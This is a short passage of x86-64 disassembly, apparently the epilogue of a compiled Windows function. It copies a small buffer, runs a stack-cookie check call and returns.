lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400c8814
add rsp, 0x1498
pop rdi
pop rsi
ret